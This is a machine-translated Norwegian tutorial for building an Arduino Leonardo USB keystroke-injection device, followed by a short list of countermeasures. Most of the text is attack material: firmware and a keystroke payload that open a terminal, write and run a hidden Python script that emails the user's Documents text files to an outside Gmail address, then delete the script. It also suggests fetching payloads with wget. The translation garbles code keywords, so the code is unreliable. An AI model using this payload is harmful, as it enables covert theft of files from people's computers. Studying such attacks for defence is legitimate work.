Innholdsfortegnelse:

Arduino Keyboard Exploit Demo (HID) og forebygging: 4 trinn (med bilder)
Arduino Keyboard Exploit Demo (HID) og forebygging: 4 trinn (med bilder)

Video: Arduino Keyboard Exploit Demo (HID) og forebygging: 4 trinn (med bilder)

Video: Arduino Keyboard Exploit Demo (HID) og forebygging: 4 trinn (med bilder)
Video: Keyboard exploit demo (HID) and prevention 2024, November
Anonim
Image
Image
Å bygge enheten
Å bygge enheten

I dette prosjektet skal vi bruke en arduino leonardo for å simulere et mulig USB -angrep ved hjelp av HID (humain interface device).

Jeg har laget denne opplæringen for ikke å hjelpe hackere, men for å vise deg noen virkelige farer og hvordan du kan beskytte deg mot disse farene. Denne enheten er ikke en enhet som kan brukes på hvilken som helst plattform for hackere, den er mer et bevis på konseptet i detalj.

Vi skal lære følgende:

- hvordan du bruker arduino leonardo til å etterligne tastatur

- hvordan lese data fra SD -kort

- hvordan lage et python -skript som skanner filer og sender dem på e -post

- hvordan du beskytter deg selv mot USB -hacking -enheter

Trinn 1: Materialer

Deler:

1. Arduino leonardo

2. mikro -USB -kortleser

3. noen få GB SD -kort

4. Trykknapp som denne (VCC, Ground og signal)

5. hun-hunn og hunn-hunn hunkabler

6. mikro -USB til USB -kabel

Trinn 2: Bygg enheten

Å bygge enheten
Å bygge enheten

La oss se gjennom arbeidsprinsippet før byggeinstruksjonene:

Arduino leonardo kan oppføre seg som en human interface -enhet (HID) og kan derfor etterligne mus og tastatur. Vi kommer til å bruke denne funksjonen til å åpne en terminal (i UBUNTU linux) og skrive et lite skript som får tilgang til /Dokumenter -mappen inne i brukerens hjemmemappe, kopier.txt -filer der og sender dem på e -post til noen. Hvis du vil finne ut mer informasjon, sjekk neste trinn.

Fordi det er en demoenhet, ting er veldig enkle, skal vi ikke lodde noe.

Byggeinstruksjoner

Før vi begynner å sjekke de vedlagte filene, har jeg lagt ved fritzingskjemaer og alle nødvendige filer

1. Monter komponentene:

* koble mikro -USB -kabelen til arduinoen

* koble nøkkelbryteren til arduino (bakken, vcc og ut modulen til D8)

* koble kortleseren til arduino (ved bruk av ICSP -topptekst). Arduino leonardo har ikke ICSP -hodet koblet til digitale pinner, så du må koble kortleseren til ICSP -hodet. Du finner noen tegninger av ICSP her: https://learn.sparkfun.com/tutorials/installing-an…. Koble SS -pinnen til den digitale pinnen 10

2. få arduino -koden, du kan klone arduino -depotet mitt på github: https://github.com/danionescu0/arduino og gå til projects/keyboard_exploit eller få det nedenfra:

#include "Keyboard.h"

#include "SPI.h" #include "SD.h" String filenameOnCard = "hack.txt"; String sleepCommandStartingPoint = "Sleep::"; String commandStartingPoint = "Kommando::"; int delayBetweenCommands = 10; const int buttonPin = 8; const int chipSelect = 10; int previousButtonState = HØY; ugyldig oppsett () {pinMode (buttonPin, INPUT); Serial.begin (9600); Keyboard.begin (); if (! SD.begin (chipSelect)) {Serial.println ("Kort mislyktes, eller ikke tilstede!"); komme tilbake; }} void loop () {int buttonState = digitalRead (buttonPin); if ((buttonState! = previousButtonState) && (buttonState == HIGH)) {sdFileToKeyboard (); Serial.println ("Lastet opp!"); forsinkelse (500); } previousButtonState = buttonState; } void sdFileToKeyboard () {File dataFile = SD.open (filnavnOnCard); if (! dataFile) {Serial.println ("Det angitte filnavnet finnes ikke på SD -kortet, sjekk filnavnOnCard!"); } String line; while (dataFile.available ()) {line = dataFile.readStringUntil ('\ n'); Serial.println (linje); sendToKeyboard (linje); } dataFile.close (); } void sendToKeyboard (String line) {String workingLine = line; if (workingLine.indexOf (sleepCommandStartingPoint)! = -1) {sleepFor (line); komme tilbake; } if (workingLine.indexOf (commandStartingPoint) == -1) {Serial.print ("Text:"); Serial.println (line); Keyboard.println (linje); trykk enter(); komme tilbake; } Serial.println ("Kommando:"); int charPosition = commandStartingPoint.length (); int lineLength = line.length (); workingLine += ","; while (workingLine! = "") {workingLine = workingLine.substring (charPosition); Serial.print ("WorkingLine:"); Serial.println (workingLine); int specialCommandDelimiterPosition = workingLine.indexOf (","); String command = workingLine.substring (0, specialCommandDelimiterPosition); charPosition = specialCommandDelimiterPosition + 1; if (command! = "") {Serial.print ("Kommando funnet:"); Serial.println (kommando); Keyboard.press (getCommandCode (kommando)); forsinkelse (delayBetweenCommands); }} Keyboard.releaseAll (); forsinkelse (delayBetweenCommands); } ugid pressEnter () {Keyboard.press (KEY_RETURN); Keyboard.releaseAll (); } void sleepFor (String line) {int sleepAmount = line.substring (sleepCommandStartingPoint.length (), line.length ()). toInt (); Serial.print ("Sleeping for:"); Serial.println (sleepAmount); forsinkelse (sleepAmount); } char getCommandCode (strengtekst) {char textCharacters [2]; text.toCharArray (textCharacters, 2); char code = textCharacters [0]; kode = (tekst == "KEY_LEFT_CTRL")? KEY_LEFT_CTRL: kode; kode = (tekst == "KEY_LEFT_SHIFT")? KEY_LEFT_SHIFT: kode; kode = (tekst == "KEY_LEFT_ALT")? KEY_LEFT_ALT: kode; kode = (tekst == "KEY_UP_ARROW")? KEY_UP_ARROW: kode; kode = (tekst == "KEY_DOWN_ARROW")? KEY_DOWN_ARROW: kode; kode = (tekst == "KEY_LEFT_ARROW")? KEY_LEFT_ARROW: kode; kode = (tekst == "KEY_RIGHT_ARROW")? KEY_RIGHT_ARROW: kode; kode = (tekst == "KEY_RIGHT_GUI")? KEY_RIGHT_GUI: kode; kode = (tekst == "KEY_BACKSPACE")? KEY_BACKSPACE: kode; kode = (tekst == "KEY_TAB")? KEY_TAB: kode; kode = (tekst == "KEY_RETURN")? KEY_RETURN: kode; kode = (tekst == "KEY_ESC")? KEY_ESC: kode; kode = (tekst == "KEY_INSERT")? KEY_INSERT: kode; kode = (tekst == "KEY_DELETE")? KEY_DELETE: kode; kode = (tekst == "KEY_PAGE_UP")? KEY_PAGE_UP: kode; kode = (tekst == "KEY_PAGE_DOWN")? KEY_PAGE_DOWN: kode; kode = (tekst == "KEY_HOME")? KEY_HOME: kode; kode = (tekst == "KEY_END")? KEY_END: kode; kode = (tekst == "KEY_CAPS_LOCK")? KEY_CAPS_LOCK: kode; kode = (tekst == "KEY_F1")? KEY_F1: kode; kode = (tekst == "KEY_F2")? KEY_F2: kode; kode = (tekst == "KEY_F3")? KEY_F3: kode; kode = (tekst == "KEY_F4")? KEY_F4: kode; kode = (tekst == "KEY_F5")? KEY_F5: kode; kode = (tekst == "KEY_F6")? KEY_F6: kode; kode = (tekst == "KEY_F7")? KEY_F7: kode; kode = (tekst == "KEY_F8")? KEY_F8: kode; kode = (tekst == "KEY_F9")? KEY_F9: kode; kode = (tekst == "KEY_F10")? KEY_F10: kode; kode = (tekst == "KEY_F11")? KEY_F1: kode; kode = (tekst == "KEY_F12")? KEY_F2: kode;

returkode;

}

3. Last opp koden til arduino, sørg for å velge 9600 baud rate, serieporten og arduino leonardo

4. Formater SD -kortet med FAT16 eller FAT32

5. Hvis du klonet github -repoen ovenfra, kopierer du hack.txt -filen på kortet, hvis ikke filen er oppført nedenfor:

Kommando:: KEY_LEFT_CTRL, KEY_LEFT_ALT, tSleep:: 500 vi hack.py Sleep:: 300 Kommando:: KEY_INSERT import smtplib import glob, os fra os.path import expanduser fra email. MIMEMultipart import MIMEMultipart fra email. MIMEBase import MIMEBase fra e -post. MIMETekstimport MIMETekst fra e -post. Bruker import COMMASPACE, formatdato fra e -postimportkodere

smtp_user = 'sender_gmail_address'

smtp_pass = 'sender_gmail_password' to_address = 'receiver_address' scan_documents_location = 'Dokumenter'

subject = body = 'Filer fra hacket datamaskin'

header = 'Til: {0} nFrom: {1} nTema: {2} n'.format (til_adresse, smtp_bruker, emne)

def sendMail (til, emne, tekst, filer = ):

msg = MIMEMultipart () msg ['From'] = smtp_user msg ['To'] = COMMASPACE.join (to) msg ['Date'] = formatdate (localtime = True) msg ['Subject'] = subject msg.attach (MIMETekst (tekst)) for fil i filer: part = MIMEBase ('application', 'octet-stream') part.set_payload (open (file, "rb"). Read ()) Encoders.encode_base64 (part) part. add_header ('Content-Disposition', 'attachment; filnavn = " % s"' % os.path.basename (fil)) msg.attach (del)

server = smtplib. SMTP ('smtp.gmail.com:587')

server.starttls () server.login (smtp_user, smtp_pass) server.sendmail (smtp_user, til, msg.as_string ()) server.quit ()

sendMail ([til_adresse], emne, brødtekst, glob.glob ("{0}/{1}/*. txt".format (expanduser ("~"), scan_documents_location)))

Sleep:: 50 Kommando:: KEY_ESC Sleep:: 100: x Sleep:: 500 nohup python hack.py & Sleep:: 700 rm -rf hack.py Sleep:: 400 Command:: KEY_LEFT_ALT, KEY_F4

6. Rediger følgende linjer:

smtp_user = 'sender_email_addr'

smtp_pass = 'sender_password' to_address = 'receiver_address'

Og bytt ut med e -postadressene dine

7. Ta ut kortet og sett det inn i arduino -kortleseren

Trinn 3: Hvordan det fungerer i detaljer

Slik vil angrepet fungere:

1. Når du trykker på knappen, vil leonardo lese sd -kortet ved hjelp av en sd -kortleser. En spesiell fil som inneholder nøkler og tastekombinasjoner vil være tilstede på kortet. Filnavnet er "hack.txt".

Filen kan inneholde rå tekst, og den overføres til tastaturet akkurat som den er.

Den kan også inneholde spesielle kommandoer som "Sleep::" og "Command::".

En linje som:

Søvn:: 200 betyr en søvn på 200 ms

En linje som:

Kommando:: KEY_LEFT_CTRL, KEY_LEFT_ALT, t betyr venstre ctrl trykket, venstre alt trykket, t trykket og alt slippes

Du kan sjekke alle spesialnøkler her:

2. Leonardo vil lese linje for linje, og tolke kommandoene og etterligne tastene på tastaturet. Filen "hack.txt" inneholder en kombinasjon av nøkler som gjør følgende (for UBUNTU linux):

en. åpner en terminal (CTRL + ALT + T)

b. åpner en python -fil for oppretting ved hjelp av vi (skriver "vi hack.py"

c. skriver et python -skript inne som samler alle tekstfilene inne i dokumentets hjemmemappe og sender dem over til en spesifisert gmail -adresse

d. kjører filen i bakgrunnen ("nohup python hack.py &")

e. sletter filen (rm -rf hack.py)

f. lukker terminalen (ALT + F4)

Det hele går på få sekunder og setter ikke spor.

Forbedringer og feilsøking

* Du vil kanskje legge merke til at etter at jeg åpnet en terminal, skriver jeg python -filen. en bedre måte å gjøre det på er å være vert for det et sted og laste det ned ved hjelp av "wget some_url" -kommandoen, og deretter gi det nytt navn til hack.py

* Vi kan også laste ned eller kjøre en ferdig utnyttet for det målrettede operativsystemet

* wifi kan legges til modulen, og hackene kan lastes opp via WIFI

* du kan bruke arduino micro (som er mye mindre) og legge inn utnyttelseskode på den (for å gjøre den mindre)

Begrensninger

1. Fordi den simulerte enheten (tastatur og mus) ikke har noen tilbakemelding, vet vi ikke hva som vil skje etter at vi har utstedt en kommando som betyr at vi må bruke forsinkelser. For eksempel sender jeg en kommando for å åpne terminalen, men jeg vet ikke når den faktisk vil være åpen, så jeg må spesifisere en vilkårlig forsinkelse for å sikre at tegnene som er skrevet etter ikke vil gå tapt.

2. Vi kan støte på tillatelsesproblemer som å ikke ha tilgang til USB -porten eller tillatelse til å installere noe

3. Skrivehastigheten er ikke så stor på leonardo

4. Vil bare fungere på et målrettet operativsystem (i vårt tilfelle UBUNTU linux)

I det neste trinnet vil vi prøve å finne måter å utnytte disse begrensningene for å forhindre at datamaskinen vår blir hacket

Trinn 4: Motforanstaltninger

1. Deaktivering av USB -porter

-for Windows kan du sjekke denne opplæringen:

2. Hviteliste USB -enheter:

- for windows:

2. Lås datamaskinen når du ikke er borte

3. Ikke logg inn som root (krever passord for å installere noe)

4. Hold deg selv oppdatert (automatiske oppdateringer på)

Anbefalt: